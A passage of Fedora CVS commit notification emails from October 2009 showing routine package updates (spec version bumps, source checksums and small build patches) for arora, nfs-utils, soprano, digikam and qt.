Update of /cvs/pkgs/rpms/arora/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32541

Modified Files:
	.cvsignore arora.spec sources 
Added Files:
	arora-0.10.1-gitversion.patch 
Removed Files:
	arora-0.10.0-gitversion.patch 
Log Message:
* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
- Update to 0.10.1


arora-0.10.1-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.1-gitversion.patch ---
diff -up arora-0.10.1/src/src.pri.gitversion arora-0.10.1/src/src.pri
--- arora-0.10.1/src/src.pri.gitversion	2009-10-05 05:31:48.000000000 +0200
+++ arora-0.10.1/src/src.pri	2009-10-06 12:37:27.690582177 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"e5385f3\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1329\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Oct 2009 10:02:44 -0000	1.11
+++ .cvsignore	6 Oct 2009 10:49:15 -0000	1.12
@@ -1 +1 @@
-arora-0.10.0.tar.gz
+arora-0.10.1.tar.gz


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-12/arora.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- arora.spec	2 Oct 2009 10:02:44 -0000	1.21
+++ arora.spec	6 Oct 2009 10:49:16 -0000	1.22
@@ -1,13 +1,13 @@
 Name:           arora
-Version:        0.10.0
-Release:        2%{?dist}
+Version:        0.10.1
+Release:        1%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.10.0-gitversion.patch
+Patch0:         arora-0.10.1-gitversion.patch
 Patch1:         arora-0.10.0-fedorabookmarks.patch
 Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -98,6 +98,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
+- Update to 0.10.1
+
 * Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
 - Fedorahome patch rebased
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Oct 2009 10:02:44 -0000	1.11
+++ sources	6 Oct 2009 10:49:16 -0000	1.12
@@ -1 +1 @@
-664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz
+ac38282a2d9134687d9c30dbb73c0fbc  arora-0.10.1.tar.gz


--- arora-0.10.0-gitversion.patch DELETED ---



From steved at fedoraproject.org  Tue Oct  6 10:50:48 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Tue,  6 Oct 2009 10:50:48 +0000 (UTC)
Subject: rpms/nfs-utils/devel nfs-utils-1.2.0-mntconf-vers.patch, 1.1,
	1.2 nfs-utils.spec, 1.245, 1.246
Message-ID: <20091006105048.9F78911C00C1@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32722

Modified Files:
	nfs-utils-1.2.0-mntconf-vers.patch nfs-utils.spec 
Log Message:
Fixed a whole where '-o v4' was not overriding the
version in the conf file.


nfs-utils-1.2.0-mntconf-vers.patch:
 configfile.c |   20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

Index: nfs-utils-1.2.0-mntconf-vers.patch
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils-1.2.0-mntconf-vers.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- nfs-utils-1.2.0-mntconf-vers.patch	1 Oct 2009 11:50:39 -0000	1.1
+++ nfs-utils-1.2.0-mntconf-vers.patch	6 Oct 2009 10:50:48 -0000	1.2
@@ -1,7 +1,7 @@
 diff -up nfs-utils-1.2.0/utils/mount/configfile.c.orig nfs-utils-1.2.0/utils/mount/configfile.c
---- nfs-utils-1.2.0/utils/mount/configfile.c.orig	2009-09-30 11:38:53.745992000 -0400
-+++ nfs-utils-1.2.0/utils/mount/configfile.c	2009-09-30 13:49:38.480625000 -0400
-@@ -185,6 +185,19 @@ void free_all(void)
+--- nfs-utils-1.2.0/utils/mount/configfile.c.orig	2009-10-02 11:10:01.000000000 -0400
++++ nfs-utils-1.2.0/utils/mount/configfile.c	2009-10-02 11:14:30.000000000 -0400
+@@ -185,6 +185,20 @@ void free_all(void)
  		free(entry);
  	}
  }
@@ -10,10 +10,11 @@ diff -up nfs-utils-1.2.0/utils/mount/con
 +{
 +	int i;
 +
-+	if (strcasecmp(field, "nfsvers") == 0 || 
-+				strcasecmp(field, "vers") == 0) {
-+		for (i=0; versions[i]; i++)
-+			if (strncasecmp(mopt, versions[i], strlen(versions[i])) == 0)
++	if (strncmp("mountvers", field, strlen("mountvers") != 0 &&
++			(strcasecmp(field, "nfsvers") == 0 || 
++				strcasecmp(field, "vers") == 0))) {
++		for (i=0; versions[i]; i++) 
++			if (strcasestr(mopt, versions[i]) != NULL)
 +				return 1;
 +	}
 +	return 0;
@@ -21,7 +22,7 @@ diff -up nfs-utils-1.2.0/utils/mount/con
  /*
   * Parse the given section of the configuration 
   * file to if there are any mount options set.
-@@ -207,6 +220,12 @@ conf_parse_mntopts(char *section, char *
+@@ -207,6 +221,12 @@ conf_parse_mntopts(char *section, char *
  		snprintf(buf, BUFSIZ, "%s=", node->field);
  		if (opts && strcasestr(opts, buf) != NULL)
  			continue;


Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils.spec,v
retrieving revision 1.245
retrieving revision 1.246
diff -u -p -r1.245 -r1.246
--- nfs-utils.spec	1 Oct 2009 11:58:28 -0000	1.245
+++ nfs-utils.spec	6 Oct 2009 10:50:48 -0000	1.246
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -268,6 +268,10 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
+* Mon Oct  5 2009 Steve Dickson <steved at redhat.com> 1.2.0-16
+- Fixed a whole where '-o v4' was not overriding the
+  version in the conf file.
+
 * Wed Sep 30 2009 Steve Dickson <steved at redhat.com> 1.2.0-15
 - Change the nfsmount.conf file to define v3 as the default 
   protocol version.



From jreznik at fedoraproject.org  Tue Oct  6 10:51:46 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Tue,  6 Oct 2009 10:51:46 +0000 (UTC)
Subject: rpms/arora/F-11 arora-0.10.1-gitversion.patch, NONE, 1.1 .cvsignore,
	1.9, 1.10 arora.spec, 1.15, 1.16 sources, 1.10,
	1.11 arora-0.10.0-gitversion.patch, 1.1, NONE
Message-ID: <20091006105146.C306B11C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv442

Modified Files:
	.cvsignore arora.spec sources 
Added Files:
	arora-0.10.1-gitversion.patch 
Removed Files:
	arora-0.10.0-gitversion.patch 
Log Message:
* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
- Update to 0.10.1


arora-0.10.1-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.1-gitversion.patch ---
diff -up arora-0.10.1/src/src.pri.gitversion arora-0.10.1/src/src.pri
--- arora-0.10.1/src/src.pri.gitversion	2009-10-05 05:31:48.000000000 +0200
+++ arora-0.10.1/src/src.pri	2009-10-06 12:37:27.690582177 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"e5385f3\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1329\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	31 Aug 2009 11:53:20 -0000	1.9
+++ .cvsignore	6 Oct 2009 10:51:46 -0000	1.10
@@ -1 +1 @@
-arora-0.9.0.tar.gz
+arora-0.10.1.tar.gz


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-11/arora.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- arora.spec	2 Oct 2009 10:06:05 -0000	1.15
+++ arora.spec	6 Oct 2009 10:51:46 -0000	1.16
@@ -1,13 +1,13 @@
 Name:           arora
-Version:        0.10.0
-Release:        2%{?dist}
+Version:        0.10.1
+Release:        1%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.10.0-gitversion.patch
+Patch0:         arora-0.10.1-gitversion.patch
 Patch1:         arora-0.10.0-fedorabookmarks.patch
 Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -98,6 +98,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
+- Update to 0.10.1
+
 * Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
 - Fedorahome patch rebased
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	2 Oct 2009 10:06:05 -0000	1.10
+++ sources	6 Oct 2009 10:51:46 -0000	1.11
@@ -1 +1 @@
-664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz
+ac38282a2d9134687d9c30dbb73c0fbc  arora-0.10.1.tar.gz


--- arora-0.10.0-gitversion.patch DELETED ---



From jreznik at fedoraproject.org  Tue Oct  6 11:04:43 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Tue,  6 Oct 2009 11:04:43 +0000 (UTC)
Subject: rpms/arora/F-10 arora-0.10.1-gitversion.patch, NONE, 1.1 .cvsignore,
	1.9, 1.10 arora.spec, 1.14, 1.15 sources, 1.10,
	1.11 arora-0.10.0-gitversion.patch, 1.1, NONE
Message-ID: <20091006110443.3113B11C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3719

Modified Files:
	.cvsignore arora.spec sources 
Added Files:
	arora-0.10.1-gitversion.patch 
Removed Files:
	arora-0.10.0-gitversion.patch 
Log Message:
* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
- Update to 0.10.1


arora-0.10.1-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.1-gitversion.patch ---
diff -up arora-0.10.1/src/src.pri.gitversion arora-0.10.1/src/src.pri
--- arora-0.10.1/src/src.pri.gitversion	2009-10-05 05:31:48.000000000 +0200
+++ arora-0.10.1/src/src.pri	2009-10-06 12:37:27.690582177 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"e5385f3\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1329\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-10/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	31 Aug 2009 11:58:31 -0000	1.9
+++ .cvsignore	6 Oct 2009 11:04:40 -0000	1.10
@@ -1 +1 @@
-arora-0.9.0.tar.gz
+arora-0.10.1.tar.gz


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-10/arora.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- arora.spec	2 Oct 2009 10:31:14 -0000	1.14
+++ arora.spec	6 Oct 2009 11:04:41 -0000	1.15
@@ -1,13 +1,13 @@
 Name:           arora
-Version:        0.10.0
-Release:        2%{?dist}
+Version:        0.10.1
+Release:        1%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.10.0-gitversion.patch
+Patch0:         arora-0.10.1-gitversion.patch
 Patch1:         arora-0.10.0-fedorabookmarks.patch
 Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -98,6 +98,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
+- Update to 0.10.1
+
 * Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
 - Fedorahome patch rebased
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-10/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	2 Oct 2009 10:31:14 -0000	1.10
+++ sources	6 Oct 2009 11:04:41 -0000	1.11
@@ -1 +1 @@
-664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz
+ac38282a2d9134687d9c30dbb73c0fbc  arora-0.10.1.tar.gz


--- arora-0.10.0-gitversion.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 11:36:38 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 11:36:38 +0000 (UTC)
Subject: rpms/soprano/F-11 .cvsignore, 1.20, 1.21 soprano.spec, 1.33,
	1.34 sources, 1.20,
	1.21 soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch, 1.1, NONE
Message-ID: <20091006113639.1AA2611C0297@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/soprano/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10093/F-11

Modified Files:
	.cvsignore soprano.spec sources 
Removed Files:
	soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch 
Log Message:
soprano 2.3.1 sync



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/soprano/F-11/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	30 Jul 2009 20:05:57 -0000	1.20
+++ .cvsignore	6 Oct 2009 11:36:38 -0000	1.21
@@ -1 +1 @@
-soprano-2.3.0.tar.bz2
+soprano-2.3.1.tar.bz2


Index: soprano.spec
===================================================================
RCS file: /cvs/extras/rpms/soprano/F-11/soprano.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- soprano.spec	30 Jul 2009 20:05:57 -0000	1.33
+++ soprano.spec	6 Oct 2009 11:36:38 -0000	1.34
@@ -6,8 +6,8 @@
 
 Summary: Qt wrapper API to different RDF storage solutions
 Name:    soprano
-Version: 2.3.0
-Release: 2%{?dist}
+Version: 2.3.1
+Release: 1%{?dist}
 
 Group:   System Environment/Libraries
 License: LGPLv2+
@@ -16,9 +16,6 @@ Source0: http://downloads.sf.net/soprano
 Source1: soprano-svn_checkout.sh 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-## upstreamable patches
-Patch50: soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch
-
 BuildRequires: clucene-core-devel >= 0.9.20-2
 BuildRequires: cmake
 BuildRequires: kde-filesystem
@@ -64,12 +61,9 @@ format for easy browsing.
 %prep
 %setup -q -n soprano-%{version}
 
-%patch50 -p1 -b .cmake_DATA_INSTALL_DIR
-
 
 %build
 
-
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake} \
@@ -113,7 +107,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%{_kde4_appsdir}/cmake/modules/SopranoAddOntology.cmake
+%{_datadir}/soprano/cmake/
 %{_libdir}/libsoprano*.so
 %{_libdir}/pkgconfig/soprano.pc
 %{_includedir}/soprano/
@@ -127,6 +121,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Sep 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.1-1
+- soprano-2.3.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/soprano/F-11/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	30 Jul 2009 20:05:57 -0000	1.20
+++ sources	6 Oct 2009 11:36:38 -0000	1.21
@@ -1 +1 @@
-286d5d37c1d4f070527758e79706d1a7  soprano-2.3.0.tar.bz2
+c9a2c008b80cd5d76599e9d48139dfe9  soprano-2.3.1.tar.bz2


--- soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 11:36:38 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 11:36:38 +0000 (UTC)
Subject: rpms/soprano/F-10 .cvsignore, 1.16, 1.17 soprano.spec, 1.27,
	1.28 sources, 1.17,
	1.18 soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch, 1.1, NONE
Message-ID: <20091006113639.1789411C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/soprano/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10093/F-10

Modified Files:
	.cvsignore soprano.spec sources 
Removed Files:
	soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch 
Log Message:
soprano 2.3.1 sync



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/soprano/F-10/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	30 Jul 2009 20:05:52 -0000	1.16
+++ .cvsignore	6 Oct 2009 11:36:37 -0000	1.17
@@ -1 +1 @@
-soprano-2.3.0.tar.bz2
+soprano-2.3.1.tar.bz2


Index: soprano.spec
===================================================================
RCS file: /cvs/extras/rpms/soprano/F-10/soprano.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- soprano.spec	30 Jul 2009 20:05:55 -0000	1.27
+++ soprano.spec	6 Oct 2009 11:36:37 -0000	1.28
@@ -6,8 +6,8 @@
 
 Summary: Qt wrapper API to different RDF storage solutions
 Name:    soprano
-Version: 2.3.0
-Release: 2%{?dist}
+Version: 2.3.1
+Release: 1%{?dist}
 
 Group:   System Environment/Libraries
 License: LGPLv2+
@@ -16,9 +16,6 @@ Source0: http://downloads.sf.net/soprano
 Source1: soprano-svn_checkout.sh 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-## upstreamable patches
-Patch50: soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch
-
 BuildRequires: clucene-core-devel >= 0.9.20-2
 BuildRequires: cmake
 BuildRequires: kde-filesystem
@@ -64,12 +61,9 @@ format for easy browsing.
 %prep
 %setup -q -n soprano-%{version}
 
-%patch50 -p1 -b .cmake_DATA_INSTALL_DIR
-
 
 %build
 
-
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake} \
@@ -113,7 +107,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%{_kde4_appsdir}/cmake/modules/SopranoAddOntology.cmake
+%{_datadir}/soprano/cmake/
 %{_libdir}/libsoprano*.so
 %{_libdir}/pkgconfig/soprano.pc
 %{_includedir}/soprano/
@@ -127,6 +121,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Sep 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.1-1
+- soprano-2.3.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/soprano/F-10/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	30 Jul 2009 20:05:55 -0000	1.17
+++ sources	6 Oct 2009 11:36:37 -0000	1.18
@@ -1 +1 @@
-286d5d37c1d4f070527758e79706d1a7  soprano-2.3.0.tar.bz2
+c9a2c008b80cd5d76599e9d48139dfe9  soprano-2.3.1.tar.bz2


--- soprano-2.2.69-cmake_DATA_INSTALL_DIR.patch DELETED ---



From rdieter at fedoraproject.org  Tue Oct  6 11:43:39 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 11:43:39 +0000 (UTC)
Subject: rpms/digikam/devel .cvsignore, 1.36, 1.37 digikam.spec, 1.99,
	1.100 sources, 1.37, 1.38
Message-ID: <20091006114339.46C7911C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/digikam/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11678/devel

Modified Files:
	.cvsignore digikam.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/devel/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	2 Sep 2009 13:39:44 -0000	1.36
+++ .cvsignore	6 Oct 2009 11:43:37 -0000	1.37
@@ -1 +1 @@
-digikam-1.0.0-beta4.tar.bz2
+digikam-1.0.0-beta5.tar.bz2


Index: digikam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/devel/digikam.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- digikam.spec	29 Sep 2009 20:36:36 -0000	1.99
+++ digikam.spec	6 Oct 2009 11:43:38 -0000	1.100
@@ -1,9 +1,9 @@
 
-%define pre beta4
+%define pre beta5 
 
 Name:	 digikam
 Version: 1.0.0
-Release: 0.6.%{pre}%{?dist}
+Release: 0.7.%{pre}%{?dist}
 Summary: A digital camera accessing & photo management application
 
 Group:	 Applications/Multimedia
@@ -155,6 +155,8 @@ rm -rf %{buildroot}
 
 
 %changelog
+
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.0-0.6.beta4
 - fix marble dep(s)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/devel/sources,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- sources	2 Sep 2009 13:56:07 -0000	1.37
+++ sources	6 Oct 2009 11:43:38 -0000	1.38
@@ -1 +1 @@
-fd43f7aab22fc093904525ba59497e3c  digikam-1.0.0-beta4.tar.bz2
+73131d173e237caa1d952027d9679d1c  digikam-1.0.0-beta5.tar.bz2



From rdieter at fedoraproject.org  Tue Oct  6 11:43:39 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 11:43:39 +0000 (UTC)
Subject: rpms/digikam/F-12 .cvsignore, 1.36, 1.37 digikam.spec, 1.99,
	1.100 sources, 1.37, 1.38
Message-ID: <20091006114339.8C79211C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/digikam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11678/F-12

Modified Files:
	.cvsignore digikam.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/F-12/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	2 Sep 2009 13:39:44 -0000	1.36
+++ .cvsignore	6 Oct 2009 11:43:39 -0000	1.37
@@ -1 +1 @@
-digikam-1.0.0-beta4.tar.bz2
+digikam-1.0.0-beta5.tar.bz2


Index: digikam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/F-12/digikam.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- digikam.spec	29 Sep 2009 20:36:35 -0000	1.99
+++ digikam.spec	6 Oct 2009 11:43:39 -0000	1.100
@@ -1,9 +1,9 @@
 
-%define pre beta4
+%define pre beta5 
 
 Name:	 digikam
 Version: 1.0.0
-Release: 0.6.%{pre}%{?dist}
+Release: 0.7.%{pre}%{?dist}
 Summary: A digital camera accessing & photo management application
 
 Group:	 Applications/Multimedia
@@ -155,6 +155,8 @@ rm -rf %{buildroot}
 
 
 %changelog
+
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.0-0.6.beta4
 - fix marble dep(s)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/F-12/sources,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- sources	2 Sep 2009 13:56:07 -0000	1.37
+++ sources	6 Oct 2009 11:43:39 -0000	1.38
@@ -1 +1 @@
-fd43f7aab22fc093904525ba59497e3c  digikam-1.0.0-beta4.tar.bz2
+73131d173e237caa1d952027d9679d1c  digikam-1.0.0-beta5.tar.bz2



From jreznik at fedoraproject.org  Tue Oct  6 11:58:13 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Tue,  6 Oct 2009 11:58:13 +0000 (UTC)
Subject: rpms/qt/devel
	qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch, NONE,
	1.1 qt.spec, 1.339, 1.340
Message-ID: <20091006115814.09A1911C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14538

Modified Files:
	qt.spec 
Added Files:
	qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch 
Log Message:
* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
- disable JavaScriptCore JIT, SE Linux crashes (#527079)


qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch:
 JavaScriptCore.pri |   14 --------------
 1 file changed, 14 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch ---
